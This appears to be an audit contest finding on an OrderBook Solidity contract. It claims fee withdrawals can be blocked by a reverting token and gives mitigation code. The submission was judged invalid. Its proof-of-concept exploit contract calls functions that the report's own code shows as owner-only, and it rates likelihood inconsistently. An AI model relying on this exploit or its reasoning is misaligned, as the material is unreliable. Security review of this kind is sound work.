OrderBook
First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: medium
Likelihood: medium
Invalid

Possible Fee Denial of Service (DoS)

marcel_dev

Description

The contract accumulates protocol fees in a centralized mapping and allows only the contract owner to withdraw them. However, the fee-handling logic introduces a Denial of Service (DoS) risk:

  • If a malicious token is allowed and accumulates fees that can not be withdrawn (for example, broken transfer() or reverts), all withdrawals can be blocked, even for valid tokens.

  • There is no batching, retries, or withdraw flexibility depending on each token. All tokens go through the same withdrawal flow.

  • The fees are accumulated in a shared structure, with no detailed control or fallback handling.

@> Function withdrawFees() attempts to transfer all token fees in one go without safeguards against reverts or edge cases.

Risk


Likelihood:

  • High if a malicious or broken ERC20 token is added to the allowlist (for example, non-standard tokens).

  • Very likely in DeFi environments where interacting with many external tokens is common.


Impact:


  • Prevents successful withdrawal of all protocol fees, even those in compliant tokens.

  • Can be used to block revenue access for the protocol owner.

  • Leads to locked assets and may require manual intervention or contract upgrade.


Proof of Concept


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
interface IOrderBook {
function withdrawFees() external;
function addToken(address token) external;
}
​
contract BrokenToken {
function transfer(address, uint256) external pure returns (bool) {
revert("Fake failure on transfer");
}
}
​
contract DoSFeeExploit {
IOrderBook public orderbook;
address public brokenToken;
​
constructor(address _orderbook) {
orderbook = IOrderBook(_orderbook);
brokenToken = address(new BrokenToken());
}
​
function attack() external {
// Add a malicious token to fee tracking
orderbook.addToken(brokenToken);
​
// Later, when the protocol tries to withdraw fees...
// this will fail inside `withdrawFees()` and prevent withdrawal of all tokens
orderbook.withdrawFees(); // Reverts and blocks other fees too
}
}
​


Recommended Mitigation

Use safe per-token transfers with try/catch or a detailed handling:

function withdrawFees() external onlyOwner {
for (uint256 i = 0; i < allowedTokens.length; i++) {
address token = allowedTokens[i];
uint256 balance = protocolFees[token];
​
if (balance > 0) {
try IERC20(token).transfer(msg.sender, balance) {
protocolFees[token] = 0;
} catch {
// Log failure, allow others to continue
emit FeeWithdrawFailed(token, balance);
}
}
}
}
​

Otherwise you can allow manual per-token withdrawals:

function withdrawTokenFee(address token) external onlyOwner {
uint256 balance = protocolFees[token];
require(balance > 0, "No fee");
require(IERC20(token).transfer(msg.sender, balance), "Transfer failed");
protocolFees[token] = 0;
}
​

- remove this code
function withdrawFees() external onlyOwner {
for (uint256 i = 0; i < allowedTokens.length; i++) {
IERC20(allowedTokens[i]).transfer(msg.sender, protocolFees[allowedTokens[i]]);
protocolFees[allowedTokens[i]] = 0;
}
}
​
​
+ add this code
function withdrawTokenFee(address token) external onlyOwner {
uint256 balance = protocolFees[token];
require(balance > 0, "No fee");
require(IERC20(token).transfer(msg.sender, balance), "Transfer failed");
protocolFees[token] = 0;
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.